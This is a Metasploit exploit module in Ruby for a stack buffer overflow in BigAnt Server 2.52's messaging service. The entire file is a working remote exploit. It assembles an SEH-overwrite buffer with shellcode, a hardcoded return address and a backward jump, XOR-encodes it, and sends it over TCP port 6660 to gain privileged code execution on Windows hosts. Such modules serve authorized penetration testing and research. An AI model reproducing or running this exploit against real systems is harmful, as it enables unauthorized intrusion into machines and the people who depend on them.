##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'BigAnt Server 2.52 USV Buffer Overflow',
      'Description'    => %q{
        This exploits a stack buffer overflow in the BigAnt Messaging Service,
        part of the BigAnt Server product suite. This module was tested
        successfully against version 2.52.

        NOTE: The AntServer service does not restart, you only get one shot.
      },
      'Author' 	 =>
        [
          'Lincoln',
          'DouBle_Zer0',
          'jduck'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '61386' ],
          [ 'EDB', '10765' ],
          [ 'EDB', '10973' ]
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'seh',
        },
      'Payload'        =>
        {
          'Space'    => (218+709+35),
          'BadChars' => "\x2a\x20\x27\x0a\x0f",
          # pre-xor with 0x2a:
          #'BadChars' => "\x00\x0a\x0d\x20\x25",
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'BigAnt 2.52 Universal', { 'Ret' => 0x1b019fd6 } ], # Tested OK (jduck) p/p/r msjet40.dll xpsp3
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Dec 29 2009'))

      register_options([Opt::RPORT(6660)])
  end

  def exploit
    connect

    sploit = ""
    sploit << payload.encoded
    sploit << generate_seh_record(target.ret)
    sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + payload_space.to_s).encode_string
    sploit << rand_text_alphanumeric(3)
    sploit << [0xdeadbeef].pack('V') * 3

    # the buffer gets xor'd with 0x2a !
    sploit = sploit.unpack("C*").map{|c| c ^ 0x2a}.pack("C*")

    print_status("Trying target #{target.name}...")
    sock.put("USV " + sploit + "\r\n\r\n")

    handler
    disconnect
  end

end
